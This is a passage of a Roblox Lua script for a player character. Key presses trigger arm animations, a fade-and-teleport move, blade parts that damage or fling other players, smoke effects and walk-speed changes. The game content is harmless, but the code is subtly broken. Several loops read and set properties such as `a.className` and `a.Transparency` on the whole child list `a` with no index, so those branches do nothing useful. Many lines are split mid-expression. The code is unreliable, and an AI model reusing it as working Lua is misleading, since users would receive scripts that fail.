CFrame.new(1.42,0.62,0)*CFrame.Angles((math.pi*0),(math.pi*0),(math.pi*.3))
wait()
left.C1 =
CFrame.new(1.29,0.84,0)*CFrame.Angles((math.pi*0),(math.pi*0),(math.pi*.35))
wait()
left.C1 =
CFrame.new(1.16,1.06,0)*CFrame.Angles((math.pi*0),(math.pi*0),(math.pi*.4))
wait()
left.C1 =
CFrame.new(1.03,1.28,0)*CFrame.Angles((math.pi*0),(math.pi*0),(math.pi*.45))
wait()
left.C1 = CFrame.new(0.9,1.5,0)*CFrame.Angles((math.pi*0),
(math.pi*0),(math.pi*.5))
wait(.2)
left.C1 = CFrame.new(0.9,1.5,-
0.15)*CFrame.Angles((math.pi*-.15),(math.pi*0),(math.pi*.5))
wait()
left.C1 = CFrame.new(0.9,1.5,-
0.30)*CFrame.Angles((math.pi*-.30),(math.pi*0),(math.pi*.5))
wait()
left.C1 = CFrame.new(0.9,1.5,-
0.45)*CFrame.Angles((math.pi*-.45),(math.pi*0),(math.pi*.5))
wait()
left.C1 = CFrame.new(0.9,1.5,-
0.60)*CFrame.Angles((math.pi*-.60),(math.pi*0),(math.pi*.5))
wait()
left.C1 = CFrame.new(0.9,1.5,-
0.75)*CFrame.Angles((math.pi*-.75),(math.pi*0),(math.pi*.5))
wait(.1)
left.C1 =
CFrame.new(1.03,1.28,0)*CFrame.Angles((math.pi*-.60),(math.pi*0),(math.pi*.45))
wait()
left.C1 =
CFrame.new(1.16,1.06,0)*CFrame.Angles((math.pi*-.45),(math.pi*0),(math.pi*.4))
wait()
left.C1 =
CFrame.new(1.29,0.84,0)*CFrame.Angles((math.pi*-.30),(math.pi*0),(math.pi*.35))
wait()
left.C1 =
CFrame.new(1.42,0.62,0)*CFrame.Angles((math.pi*-.15),(math.pi*0),(math.pi*.3))
wait()
left.C1 = CFrame.new(1.55,.4,0)*CFrame.Angles(0,0,.5)
elseif key == "t" then
right.C1 = CFrame.new(-1.55,.4,0)*CFrame.Angles(0,0,-.5)
wait()
right.C1 = CFrame.new(-
1.42,0.62,0)*CFrame.Angles((math.pi*0),(math.pi*0),(math.pi*-.3))
wait()
right.C1 = CFrame.new(-
1.29,0.84,0)*CFrame.Angles((math.pi*0),(math.pi*0),(math.pi*-.35))
wait()
right.C1 = CFrame.new(-
1.16,1.06,0)*CFrame.Angles((math.pi*0),(math.pi*0),(math.pi*-.4))
wait()
right.C1 = CFrame.new(-
1.03,1.28,0)*CFrame.Angles((math.pi*0),(math.pi*0),(math.pi*-.45))
wait()
right.C1 = CFrame.new(-
0.9,1.5,0)*CFrame.Angles((math.pi*0),(math.pi*0),(math.pi*-.5))
wait(.2)
right.C1 = CFrame.new(-0.9,1.5,-
0.15)*CFrame.Angles((math.pi*-.15),(math.pi*0),(math.pi*-.5))
wait()
right.C1 = CFrame.new(-0.9,1.5,-
0.30)*CFrame.Angles((math.pi*-.30),(math.pi*0),(math.pi*-.5))
wait()
right.C1 = CFrame.new(-0.9,1.5,-
0.45)*CFrame.Angles((math.pi*-.45),(math.pi*0),(math.pi*-.5))
wait()
right.C1 = CFrame.new(-0.9,1.5,-
0.60)*CFrame.Angles((math.pi*-.60),(math.pi*0),(math.pi*-.5))
wait()
right.C1 = CFrame.new(-0.9,1.5,-
0.75)*CFrame.Angles((math.pi*-.75),(math.pi*0),(math.pi*-.5))
wait(.1)
right.C1 = CFrame.new(-
1.03,1.28,0)*CFrame.Angles((math.pi*-.60),(math.pi*0),(math.pi*-.45))
wait()
right.C1 = CFrame.new(-
1.16,1.06,0)*CFrame.Angles((math.pi*-.45),(math.pi*0),(math.pi*-.4))
wait()
right.C1 = CFrame.new(-
1.29,0.84,0)*CFrame.Angles((math.pi*-.30),(math.pi*0),(math.pi*-.35))
wait()
right.C1 = CFrame.new(-
1.42,0.62,0)*CFrame.Angles((math.pi*-.15),(math.pi*0),(math.pi*-.3))
wait()
right.C1 = CFrame.new(-1.55,.4,0)*CFrame.Angles(0,0,-.5)
end
--abilities
if key == "b" then
local a = player:GetChildren()
for i = 1,#a do
wait()
if a.className == "Part" and a.Name ~= "check" and
a.Name ~= "checkb" then
for x = 1, 5 do
wait()
a.Transparency = a.Transparency +.2
end
elseif a.className == "Hat" then
for x = 1, 5 do
wait()
a.Handle.Transparency =
a.Handle.Transparency +.2
end
end
end
player.Torso.CFrame = mouse.Hit + Vector3.new(0,4,0)
wait()
for i = 1,#a do
wait()
if a.className == "Part" and a.Name ~= "check" and
a.Name ~= "checkb" then
for x = 1, 5 do
wait()
a.Transparency = a.Transparency -.2
end
elseif a.className == "Hat" then
for x = 1, 5 do
wait()
a.Handle.Transparency =
a.Handle.Transparency -.2
end
end
end
for i = 1,#a do
wait()
if a.className == "Part" and a.Name ~= "check" and
a.Name ~= "checkb" then
wait()
a.Transparency = 0
elseif a.className == "Hat" then
wait()
a.Handle.Transparency = 0
end
end
end
if key == "v" then
right.C1 = CFrame.new(-1.55,.4,0)*CFrame.Angles(0,0,-.5)
left.C1 = CFrame.new(1.55,.4,0)*CFrame.Angles(0,0,.5)
wait()
right.C1 = CFrame.new(-
1.51,.1,-.05)*CFrame.Angles((math.pi*-.1),(math.pi*0),(math.pi*-.05))
left.C1 =
CFrame.new(1.51,.1,-.05)*CFrame.Angles((math.pi*-.1),(math.pi*0),(math.pi*.05))
wait()
right.C1 = CFrame.new(-
1.47,.2,-.1)*CFrame.Angles((math.pi*-.2),(math.pi*0),(math.pi*-.1))
left.C1 =
CFrame.new(1.47,.2,-.1)*CFrame.Angles((math.pi*-.2),(math.pi*0),(math.pi*.1))
wait()
right.C1 = CFrame.new(-
1.43,.3,-.15)*CFrame.Angles((math.pi*-.3),(math.pi*0),(math.pi*-.15))
left.C1 =
CFrame.new(1.43,.3,-.15)*CFrame.Angles((math.pi*-.3),(math.pi*0),(math.pi*.15))
wait()
right.C1 = CFrame.new(-
1.39,.4,-.2)*CFrame.Angles((math.pi*-.4),(math.pi*0),(math.pi*-.2))
left.C1 =
CFrame.new(1.39,.4,-.2)*CFrame.Angles((math.pi*-.4),(math.pi*0),(math.pi*.2))
wait()
right.C1 = CFrame.new(-
1.35,.5,-.25)*CFrame.Angles((math.pi*-.5),(math.pi*0),(math.pi*-.25))
left.C1 =
CFrame.new(1.35,.5,-.25)*CFrame.Angles((math.pi*-.5),(math.pi*0),(math.pi*.25))
wait(.2)
wait(.45)
right.C1 = CFrame.new(-
1.39,.4,-.2)*CFrame.Angles((math.pi*-.4),(math.pi*0),(math.pi*-.2))
left.C1 =
CFrame.new(1.39,.4,-.2)*CFrame.Angles((math.pi*-.4),(math.pi*0),(math.pi*.2))
wait()
right.C1 = CFrame.new(-
1.43,.3,-.15)*CFrame.Angles((math.pi*-.3),(math.pi*0),(math.pi*-.15))
left.C1 =
CFrame.new(1.43,.3,-.15)*CFrame.Angles((math.pi*-.3),(math.pi*0),(math.pi*.15))
wait()
right.C1 = CFrame.new(-
1.47,.2,-.1)*CFrame.Angles((math.pi*-.2),(math.pi*0),(math.pi*-.1))
left.C1 =
CFrame.new(1.47,.2,-.1)*CFrame.Angles((math.pi*-.2),(math.pi*0),(math.pi*.1))
wait()
right.C1 = CFrame.new(-
1.51,.1,-.05)*CFrame.Angles((math.pi*-.1),(math.pi*0),(math.pi*-.05))
left.C1 =
CFrame.new(1.51,.1,-.05)*CFrame.Angles((math.pi*-.1),(math.pi*0),(math.pi*.05))
wait()
right.C1 = CFrame.new(-1.55,.4,0)*CFrame.Angles(0,0,-.5)
left.C1 = CFrame.new(1.55,.4,0)*CFrame.Angles(0,0,.5)
end
if key == "f" then
local tar = mouse.Target
if tar.Parent:findFirstChild("Humanoid") ~= nil then
local float = Instance.new("BodyPosition")
float.Parent = tar.Parent.Torso
float.maxForce =
Vector3.new(math.huge,math.huge,math.huge)
float.position = tar.Parent.Torso.Position +
Vector3.new(0,10,0)
wait(1)
player.Humanoid.MaxHealth = 99999
player.Humanoid.Health = 99999
local floatme = Instance.new("BodyPosition")
floatme.Parent = player.Torso
floatme.maxForce =
Vector3.new(math.huge,math.huge,math.huge)
floatme.position = tar.Parent.Torso.Position
wait(1)
right.C1 = CFrame.new(-
1.55,.4,0)*CFrame.Angles(0,0,-.5)
left.C1 = CFrame.new(1.55,.4,0)*CFrame.Angles(0,0,.5)
wait()
right.C1 = CFrame.new(-
1.51,.1,-.05)*CFrame.Angles((math.pi*-.1),(math.pi*0),(math.pi*-.05))
left.C1 =
CFrame.new(1.51,.1,-.05)*CFrame.Angles((math.pi*-.1),(math.pi*0),(math.pi*.05))
wait()
right.C1 = CFrame.new(-
1.47,.2,-.1)*CFrame.Angles((math.pi*-.2),(math.pi*0),(math.pi*-.1))
left.C1 =
CFrame.new(1.47,.2,-.1)*CFrame.Angles((math.pi*-.2),(math.pi*0),(math.pi*.1))
wait()
right.C1 = CFrame.new(-
1.43,.3,-.15)*CFrame.Angles((math.pi*-.3),(math.pi*0),(math.pi*-.15))
left.C1 =
CFrame.new(1.43,.3,-.15)*CFrame.Angles((math.pi*-.3),(math.pi*0),(math.pi*.15))
wait()
right.C1 = CFrame.new(-
1.39,.4,-.2)*CFrame.Angles((math.pi*-.4),(math.pi*0),(math.pi*-.2))
left.C1 =
CFrame.new(1.39,.4,-.2)*CFrame.Angles((math.pi*-.4),(math.pi*0),(math.pi*.2))
wait()
right.C1 = CFrame.new(-
1.35,.5,-.25)*CFrame.Angles((math.pi*-.5),(math.pi*0),(math.pi*-.25))
left.C1 =
CFrame.new(1.35,.5,-.25)*CFrame.Angles((math.pi*-.5),(math.pi*0),(math.pi*.25))
wait()
right.C1 = CFrame.new(-
1.39,.4,-.2)*CFrame.Angles((math.pi*-.4),(math.pi*0),(math.pi*-.2))
left.C1 =
CFrame.new(1.39,.4,-.2)*CFrame.Angles((math.pi*-.4),(math.pi*0),(math.pi*.2))
wait()
right.C1 = CFrame.new(-
1.43,.3,-.15)*CFrame.Angles((math.pi*-.3),(math.pi*0),(math.pi*-.15))
left.C1 =
CFrame.new(1.43,.3,-.15)*CFrame.Angles((math.pi*-.3),(math.pi*0),(math.pi*.15))
wait()
right.C1 = CFrame.new(-
1.47,.2,-.1)*CFrame.Angles((math.pi*-.2),(math.pi*0),(math.pi*-.1))
left.C1 =
CFrame.new(1.47,.2,-.1)*CFrame.Angles((math.pi*-.2),(math.pi*0),(math.pi*.1))
wait()
right.C1 = CFrame.new(-
1.51,.1,-.05)*CFrame.Angles((math.pi*-.1),(math.pi*0),(math.pi*-.05))
left.C1 =
CFrame.new(1.51,.1,-.05)*CFrame.Angles((math.pi*-.1),(math.pi*0),(math.pi*.05))
wait()
right.C1 = CFrame.new(-
1.55,.4,0)*CFrame.Angles(0,0,-.5)
left.C1 = CFrame.new(1.55,.4,0)*CFrame.Angles(0,0,.5)
wait()
right.C1 = CFrame.new(-
1.55,.4,0)*CFrame.Angles(0,0,-.5)
left.C1 = CFrame.new(1.55,.4,0)*CFrame.Angles(0,0,.5)
wait()
right.C1 = CFrame.new(-
1.51,.1,-.05)*CFrame.Angles((math.pi*-.1),(math.pi*0),(math.pi*-.05))
left.C1 =
CFrame.new(1.51,.1,-.05)*CFrame.Angles((math.pi*-.1),(math.pi*0),(math.pi*.05))
wait()
right.C1 = CFrame.new(-
1.47,.2,-.1)*CFrame.Angles((math.pi*-.2),(math.pi*0),(math.pi*-.1))
left.C1 =
CFrame.new(1.47,.2,-.1)*CFrame.Angles((math.pi*-.2),(math.pi*0),(math.pi*.1))
wait()
right.C1 = CFrame.new(-
1.43,.3,-.15)*CFrame.Angles((math.pi*-.3),(math.pi*0),(math.pi*-.15))
left.C1 =
CFrame.new(1.43,.3,-.15)*CFrame.Angles((math.pi*-.3),(math.pi*0),(math.pi*.15))
wait()
right.C1 = CFrame.new(-
1.39,.4,-.2)*CFrame.Angles((math.pi*-.4),(math.pi*0),(math.pi*-.2))
left.C1 =
CFrame.new(1.39,.4,-.2)*CFrame.Angles((math.pi*-.4),(math.pi*0),(math.pi*.2))
wait()
right.C1 = CFrame.new(-
1.35,.5,-.25)*CFrame.Angles((math.pi*-.5),(math.pi*0),(math.pi*-.25))
left.C1 =
CFrame.new(1.35,.5,-.25)*CFrame.Angles((math.pi*-.5),(math.pi*0),(math.pi*.25))
wait()
right.C1 = CFrame.new(-
1.39,.4,-.2)*CFrame.Angles((math.pi*-.4),(math.pi*0),(math.pi*-.2))
left.C1 =
CFrame.new(1.39,.4,-.2)*CFrame.Angles((math.pi*-.4),(math.pi*0),(math.pi*.2))
wait()
right.C1 = CFrame.new(-
1.43,.3,-.15)*CFrame.Angles((math.pi*-.3),(math.pi*0),(math.pi*-.15))
left.C1 =
CFrame.new(1.43,.3,-.15)*CFrame.Angles((math.pi*-.3),(math.pi*0),(math.pi*.15))
wait()
right.C1 = CFrame.new(-
1.47,.2,-.1)*CFrame.Angles((math.pi*-.2),(math.pi*0),(math.pi*-.1))
left.C1 =
CFrame.new(1.47,.2,-.1)*CFrame.Angles((math.pi*-.2),(math.pi*0),(math.pi*.1))
wait()
right.C1 = CFrame.new(-
1.51,.1,-.05)*CFrame.Angles((math.pi*-.1),(math.pi*0),(math.pi*-.05))
left.C1 =
CFrame.new(1.51,.1,-.05)*CFrame.Angles((math.pi*-.1),(math.pi*0),(math.pi*.05))
wait()
right.C1 = CFrame.new(-
1.55,.4,0)*CFrame.Angles(0,0,-.5)
left.C1 = CFrame.new(1.55,.4,0)*CFrame.Angles(0,0,.5)
wait(.5)
player.Humanoid.MaxHealth = 100
player.Humanoid.Health = 100
float:remove()
floatme:remove()
end
end
if key == "g" then
--
rblade2 = Instance.new("Part")
rblade2.BrickColor = BrickColor.new("Really black")
rblade2.Parent = player
rblade2.CanCollide = false
rblade2.Size = Vector3.new(1,6,1)
rblade2.CFrame = rblade.CFrame
rblade2.formFactor = "Symmetric"
rblade2.TopSurface = 0
rblade2.BottomSurface = 0
rblade2.Reflectance = .5
rbm2 = Instance.new("BlockMesh")
rbm2.Parent = rblade2
rbm2.Scale = Vector3.new(.21,1,.31)
rbw2 = Instance.new("Weld")
rbw2.Parent = rblade
rbw2.Part0 = rblade
rbw2.Part1 = rblade2
lblade2 = Instance.new("Part")
lblade2.BrickColor = rblade.BrickColor
lblade2.Parent = player
lblade2.CanCollide = false
lblade2.Size = Vector3.new(1,6,1)
lblade2.CFrame = lblade.CFrame
lblade2.formFactor = "Symmetric"
lblade2.TopSurface = 0
lblade2.BottomSurface = 0
lblade2.Reflectance = .5
lbm2 = Instance.new("BlockMesh")
lbm2.Parent = lblade2
lbm2.Scale = Vector3.new(.21,1,.31)
lbw2 = Instance.new("Weld")
lbw2.Parent = lblade
lbw2.Part0 = lblade
lbw2.Part1 = lblade2
rblade.Touched:connect(function(hit)
if hit.Parent:findFirstChild("Humanoid") ~= nil then
if hit.Parent.Name ~= player.Name then
hit.Parent.Humanoid.Health =
hit.Parent.Humanoid.Health - 10
end
end
end)
lblade.Touched:connect(function(hit)
if hit.Parent:findFirstChild("Humanoid") ~= nil then
if hit.Parent.Name ~= player.Name then
hit.Parent.Humanoid.Health =
hit.Parent.Humanoid.Health - 10
end
end
end)
--
right.C1 = CFrame.new(-1.55,.5,0)*CFrame.Angles((math.pi*-
1),(math.pi*0),(math.pi*-.25))
left.C1 = CFrame.new(1.55,.5,0)*CFrame.Angles((math.pi*-1),
(math.pi*0),(math.pi*.25))
wait()
right.C1 = CFrame.new(-
1.55,.5,0)*CFrame.Angles((math.pi*-.9),(math.pi*0),(math.pi*-.25))
left.C1 =
CFrame.new(1.55,.5,0)*CFrame.Angles((math.pi*-.9),(math.pi*0),(math.pi*.25))
wait()
right.C1 = CFrame.new(-
1.55,.5,0)*CFrame.Angles((math.pi*-.8),(math.pi*0),(math.pi*-.25))
left.C1 =
CFrame.new(1.55,.5,0)*CFrame.Angles((math.pi*-.8),(math.pi*0),(math.pi*.25))
wait()
right.C1 = CFrame.new(-
1.55,.5,0)*CFrame.Angles((math.pi*-.7),(math.pi*0),(math.pi*-.25))
left.C1 =
CFrame.new(1.55,.5,0)*CFrame.Angles((math.pi*-.7),(math.pi*0),(math.pi*.25))
wait()
right.C1 = CFrame.new(-
1.55,.5,0)*CFrame.Angles((math.pi*-.6),(math.pi*0),(math.pi*-.25))
left.C1 =
CFrame.new(1.55,.5,0)*CFrame.Angles((math.pi*-.6),(math.pi*0),(math.pi*.25))
wait()
right.C1 = CFrame.new(-
1.55,.5,0)*CFrame.Angles((math.pi*-.5),(math.pi*0),(math.pi*-.25))
left.C1 =
CFrame.new(1.55,.5,0)*CFrame.Angles((math.pi*-.5),(math.pi*0),(math.pi*.25))
wait()
right.C1 = CFrame.new(-
1.55,.5,0)*CFrame.Angles((math.pi*-.4),(math.pi*0),(math.pi*-.25))
left.C1 =
CFrame.new(1.55,.5,0)*CFrame.Angles((math.pi*-.4),(math.pi*0),(math.pi*.25))
wait()
right.C1 = CFrame.new(-
1.55,.5,0)*CFrame.Angles((math.pi*-.3),(math.pi*0),(math.pi*-.25))
left.C1 =
CFrame.new(1.55,.5,0)*CFrame.Angles((math.pi*-.3),(math.pi*0),(math.pi*.25))
wait()
right.C1 = CFrame.new(-
1.55,.5,0)*CFrame.Angles((math.pi*-.2),(math.pi*0),(math.pi*-.25))
left.C1 =
CFrame.new(1.55,.5,0)*CFrame.Angles((math.pi*-.2),(math.pi*0),(math.pi*.25))
wait()
right.C1 = CFrame.new(-
1.55,.5,0)*CFrame.Angles((math.pi*-.1),(math.pi*0),(math.pi*-.25))
left.C1 =
CFrame.new(1.55,.5,0)*CFrame.Angles((math.pi*-.1),(math.pi*0),(math.pi*.25))
wait()
right.C1 = CFrame.new(-1.55,.4,0)*CFrame.Angles(0,0,-.5)
left.C1 = CFrame.new(1.55,.4,0)*CFrame.Angles(0,0,.5)
lblade2:remove()
rblade2:remove()
end
if key == "h" then
right.C1 = CFrame.new(-1.55,.4,0)*CFrame.Angles(0,0,-.5)
left.C1 = CFrame.new(1.55,.4,0)*CFrame.Angles(0,0,.5)
wait()
right.C1 = CFrame.new(-
1.55,.0,0)*CFrame.Angles((math.pi*-.0),(math.pi*0),(math.pi*-.25))
left.C1 =
CFrame.new(1.55,.0,0)*CFrame.Angles((math.pi*-.0),(math.pi*0),(math.pi*.25))
wait()
right.C1 = CFrame.new(-
1.44,.1,.1)*CFrame.Angles((math.pi*-.1),(math.pi*.1),(math.pi*-.2))
left.C1 =
CFrame.new(1.44,.1,.1)*CFrame.Angles((math.pi*-.1),(math.pi*.1),(math.pi*.2))
wait()
right.C1 = CFrame.new(-
1.33,.2,.2)*CFrame.Angles((math.pi*-.2),(math.pi*.2),(math.pi*-.15))
left.C1 =
CFrame.new(1.33,.2,.2)*CFrame.Angles((math.pi*-.2),(math.pi*.2),(math.pi*.15))
wait()
right.C1 = CFrame.new(-
1.22,-.3,.3)*CFrame.Angles((math.pi*-.3),(math.pi*.3),(math.pi*-.1))
left.C1 =
CFrame.new(1.22,-.3,.3)*CFrame.Angles((math.pi*-.3),(math.pi*.3),(math.pi*.1))
wait()
right.C1 = CFrame.new(-
1.11,-.4,.4)*CFrame.Angles((math.pi*-.4),(math.pi*.4),(math.pi*-.05))
left.C1 =
CFrame.new(1.11,-.4,.4)*CFrame.Angles((math.pi*-.4),(math.pi*.4),(math.pi*.05))
wait()
right.C1 = CFrame.new(-
1.00,-.5,.5)*CFrame.Angles((math.pi*-.5),(math.pi*-.5),(math.pi*-.00))
left.C1 =
CFrame.new(1.00,-.5,.5)*CFrame.Angles((math.pi*-.5),(math.pi*.5),(math.pi*.00))
wait()
--
rblade2 = Instance.new("Part")
rblade2.BrickColor = BrickColor.new("Really black")
rblade2.Parent = player
rblade2.CanCollide = false
rblade2.Size = Vector3.new(1,6,1)
rblade2.CFrame = rblade.CFrame
rblade2.formFactor = "Symmetric"
rblade2.TopSurface = 0
rblade2.BottomSurface = 0
rblade2.Reflectance = .5
rbm2 = Instance.new("BlockMesh")
rbm2.Parent = rblade2
rbm2.Scale = Vector3.new(.21,1,.31)
rbw2 = Instance.new("Weld")
rbw2.Parent = rblade
rbw2.Part0 = rblade
rbw2.Part1 = rblade2
lblade2 = Instance.new("Part")
lblade2.BrickColor = rblade.BrickColor
lblade2.Parent = player
lblade2.CanCollide = false
lblade2.Size = Vector3.new(1,6,1)
lblade2.CFrame = lblade.CFrame
lblade2.formFactor = "Symmetric"
lblade2.TopSurface = 0
lblade2.BottomSurface = 0
lblade2.Reflectance = .5
lbm2 = Instance.new("BlockMesh")
lbm2.Parent = lblade2
lbm2.Scale = Vector3.new(.21,1,.31)
lbw2 = Instance.new("Weld")
lbw2.Parent = lblade
lbw2.Part0 = lblade
lbw2.Part1 = lblade2
rblade.Touched:connect(function(hit)
if hit.Parent:findFirstChild("Humanoid") ~= nil then
if hit.Parent.Name ~= player.Name then
hit.Parent.Humanoid.Health =
hit.Parent.Humanoid.Health - 10
end
end
end)
lblade.Touched:connect(function(hit)
if hit.Parent:findFirstChild("Humanoid") ~= nil then
if hit.Parent.Name ~= player.Name then
hit.Parent.Humanoid.Health =
hit.Parent.Humanoid.Health - 10
end
end
end)
--
for i = 1,40 do
wait()
lbw2.C1 = CFrame.new(0,0,0) *
CFrame.Angles((math.pi*.1*i),0,0)
rbw2.C1 = CFrame.new(0,0,0) *
CFrame.Angles((math.pi*.1*i),0,0)
end
right.C1 = CFrame.new(-
1.11,-.4,.4)*CFrame.Angles((math.pi*-.4),(math.pi*.4),(math.pi*-.05))
left.C1 =
CFrame.new(1.11,-.4,.4)*CFrame.Angles((math.pi*-.4),(math.pi*.4),(math.pi*.05))
wait()
right.C1 = CFrame.new(-
1.22,-.3,.3)*CFrame.Angles((math.pi*-.3),(math.pi*.3),(math.pi*-.1))
left.C1 =
CFrame.new(1.22,-.3,.3)*CFrame.Angles((math.pi*-.3),(math.pi*.3),(math.pi*.1))
wait()
right.C1 = CFrame.new(-
1.33,.2,.2)*CFrame.Angles((math.pi*-.2),(math.pi*.2),(math.pi*-.15))
left.C1 =
CFrame.new(1.33,.2,.2)*CFrame.Angles((math.pi*-.2),(math.pi*.2),(math.pi*.15))
wait()
right.C1 = CFrame.new(-
1.44,.1,.1)*CFrame.Angles((math.pi*-.1),(math.pi*.1),(math.pi*-.2))
left.C1 =
CFrame.new(1.44,.1,.1)*CFrame.Angles((math.pi*-.1),(math.pi*.1),(math.pi*.2))
wait()
right.C1 = CFrame.new(-
1.55,.0,0)*CFrame.Angles((math.pi*-.0),(math.pi*0),(math.pi*-.25))
left.C1 =
CFrame.new(1.55,.0,0)*CFrame.Angles((math.pi*-.0),(math.pi*0),(math.pi*.25))
wait()
right.C1 = CFrame.new(-1.55,.4,0)*CFrame.Angles(0,0,-.5)
left.C1 = CFrame.new(1.55,.4,0)*CFrame.Angles(0,0,.5)
wait()
lblade2:remove()
rblade2:remove()
end
if key == "j" then
right.C1 = CFrame.new(-1.55,.4,0)*CFrame.Angles(0,0,-.5)
left.C1 = CFrame.new(1.55,.4,0)*CFrame.Angles(0,0,.5)
wait()
right.C1 = CFrame.new(-
1.55,.0,0)*CFrame.Angles((math.pi*-.0),(math.pi*0),(math.pi*-.25))
left.C1 =
CFrame.new(1.55,.0,0)*CFrame.Angles((math.pi*-.0),(math.pi*0),(math.pi*.25))
wait()
right.C1 = CFrame.new(-
1.44,.1,.1)*CFrame.Angles((math.pi*-.1),(math.pi*.1),(math.pi*-.2))
left.C1 =
CFrame.new(1.44,.1,.1)*CFrame.Angles((math.pi*-.1),(math.pi*.1),(math.pi*.2))
wait()
right.C1 = CFrame.new(-
1.33,.2,.2)*CFrame.Angles((math.pi*-.2),(math.pi*.2),(math.pi*-.15))
left.C1 =
CFrame.new(1.33,.2,.2)*CFrame.Angles((math.pi*-.2),(math.pi*.2),(math.pi*.15))
wait()
right.C1 = CFrame.new(-
1.22,-.3,.3)*CFrame.Angles((math.pi*-.3),(math.pi*.3),(math.pi*-.1))
left.C1 =
CFrame.new(1.22,-.3,.3)*CFrame.Angles((math.pi*-.3),(math.pi*.3),(math.pi*.1))
wait()
right.C1 = CFrame.new(-
1.11,-.4,.4)*CFrame.Angles((math.pi*-.4),(math.pi*.4),(math.pi*-.05))
left.C1 =
CFrame.new(1.11,-.4,.4)*CFrame.Angles((math.pi*-.4),(math.pi*.4),(math.pi*.05))
wait()
right.C1 = CFrame.new(-
1.00,-.5,.5)*CFrame.Angles((math.pi*-.5),(math.pi*-.5),(math.pi*-.00))
left.C1 =
CFrame.new(1.00,-.5,.5)*CFrame.Angles((math.pi*-.5),(math.pi*.5),(math.pi*.00))
wait()
--
rblade2 = Instance.new("Part")
rblade2.BrickColor = BrickColor.new("Really black")
rblade2.Parent = player
rblade2.CanCollide = false
rblade2.Size = Vector3.new(2,6,3)
rblade2.CFrame = rblade.CFrame
rblade2.formFactor = "Symmetric"
rblade2.TopSurface = 0
rblade2.BottomSurface = 0
rblade2.Reflectance = .5
rbm2 = Instance.new("BlockMesh")
rbm2.Parent = rblade2
rbm2.Scale = Vector3.new(.11,1,.11)
rbw2 = Instance.new("Weld")
rbw2.Parent = rblade
rbw2.Part0 = rblade
rbw2.Part1 = rblade2
lblade2 = Instance.new("Part")
lblade2.BrickColor = rblade.BrickColor
lblade2.Parent = player
lblade2.CanCollide = false
lblade2.Size = Vector3.new(2,6,3)
lblade2.CFrame = lblade.CFrame
lblade2.formFactor = "Symmetric"
lblade2.TopSurface = 0
lblade2.BottomSurface = 0
lblade2.Reflectance = .5
lbm2 = Instance.new("BlockMesh")
lbm2.Parent = lblade2
lbm2.Scale = Vector3.new(.11,1,.11)
lbw2 = Instance.new("Weld")
lbw2.Parent = lblade
lbw2.Part0 = lblade
lbw2.Part1 = lblade2
rblade2.Touched:connect(function(hit)
if hit.Parent:findFirstChild("Humanoid") ~= nil then
if hit.Parent.Name ~= player.Name then
hit.Parent.Humanoid.Sit = true
local a = hit.Parent:GetChildren()
for i = 1,#a do
wait()
if a.className == "Part" then
a.Velocity =
CFrame.new(rblade2.Position, hit.Position).lookVector * 250
end
end
end
end
end)
lblade2.Touched:connect(function(hit)
if hit.Parent:findFirstChild("Humanoid") ~= nil then
if hit.Parent.Name ~= player.Name then
hit.Parent.Humanoid.Sit = true
local a = hit.Parent:GetChildren()
for i = 1,#a do
wait()
if a.className == "Part" then
a.Velocity =
CFrame.new(lblade2.Position, hit.Position).lookVector * 250
end
end
end
end
end)
--
for i = 1,40 do
wait()
lbw2.C1 = CFrame.new(0,0,0) *
CFrame.Angles((math.pi*.1*i),0,0)
rbw2.C1 = CFrame.new(0,0,0) *
CFrame.Angles((math.pi*.1*i),0,0)
end
right.C1 = CFrame.new(-
1.11,-.4,.4)*CFrame.Angles((math.pi*-.4),(math.pi*.4),(math.pi*-.05))
left.C1 =
CFrame.new(1.11,-.4,.4)*CFrame.Angles((math.pi*-.4),(math.pi*.4),(math.pi*.05))
wait()
right.C1 = CFrame.new(-
1.22,-.3,.3)*CFrame.Angles((math.pi*-.3),(math.pi*.3),(math.pi*-.1))
left.C1 =
CFrame.new(1.22,-.3,.3)*CFrame.Angles((math.pi*-.3),(math.pi*.3),(math.pi*.1))
wait()
right.C1 = CFrame.new(-
1.33,.2,.2)*CFrame.Angles((math.pi*-.2),(math.pi*.2),(math.pi*-.15))
left.C1 =
CFrame.new(1.33,.2,.2)*CFrame.Angles((math.pi*-.2),(math.pi*.2),(math.pi*.15))
wait()
right.C1 = CFrame.new(-
1.44,.1,.1)*CFrame.Angles((math.pi*-.1),(math.pi*.1),(math.pi*-.2))
left.C1 =
CFrame.new(1.44,.1,.1)*CFrame.Angles((math.pi*-.1),(math.pi*.1),(math.pi*.2))
wait()
right.C1 = CFrame.new(-
1.55,.0,0)*CFrame.Angles((math.pi*-.0),(math.pi*0),(math.pi*-.25))
left.C1 =
CFrame.new(1.55,.0,0)*CFrame.Angles((math.pi*-.0),(math.pi*0),(math.pi*.25))
wait()
right.C1 = CFrame.new(-1.55,.4,0)*CFrame.Angles(0,0,-.5)
left.C1 = CFrame.new(1.55,.4,0)*CFrame.Angles(0,0,.5)
wait()
lblade2:remove()
rblade2:remove()
end
if key == "y" then
local blast = Instance.new("Part")
blast.formFactor = "Symmetric"
blast.Shape = "Ball"
blast.Size = Vector3.new(1,1,1)
blast.BrickColor = rblade.BrickColor
blast.Parent = Workspace
blast.CFrame = player.Torso.CFrame
game:GetService("Debris"):AddItem(blast, 15)
local smoke = Instance.new("Smoke")
smoke.Color = Color3.new(0,0,0)
smoke.Opacity = 1
smoke.RiseVelocity = 0
smoke.Size = 100
smoke.Parent = blast
end
if key == "u" then
local blast = Instance.new("Part")
blast.formFactor = "Symmetric"
blast.Shape = "Ball"
blast.Name = "keel"
blast.Size = Vector3.new(1,1,1)
blast.BrickColor = rblade.BrickColor
blast.Parent = Workspace
blast.CFrame = player.Torso.CFrame
game:GetService("Debris"):AddItem(blast, 15)
wait(2)
local smoke = Instance.new("Smoke")
smoke.Color = Color3.new(1,1,1)
smoke.Opacity = .5
smoke.RiseVelocity = 0
smoke.Size = 20
smoke.Parent = blast
coroutine.resume(coroutine.create(function() stun(blast)
end))
end
if key == "n" then
player.Humanoid.WalkSpeed = player.Humanoid.WalkSpeed + 8
end
if key == "m" then
player.Humanoid.WalkSpeed = player.Humanoid.WalkSpeed - 8
end
if key == ";" then
local l = player:findFirstChild("Left Arm")
local r = player:findFirstChild("Right Arm")
rblade.Size = Vector3.new(2, 6 , 2)
lblade.Size = Vector3.new(2, 6 , 2)
local w = Instance.new("Weld")
w.Part1 = rblade
w.Part0 = r
w.Parent = r
local w = Instance.new("Weld")
w.Part1 = lblade
w.Part0 = l
w.Parent = l
end
if key == "k" then
for i = 1,100 do
wait()
local p = Instance.new("Part")
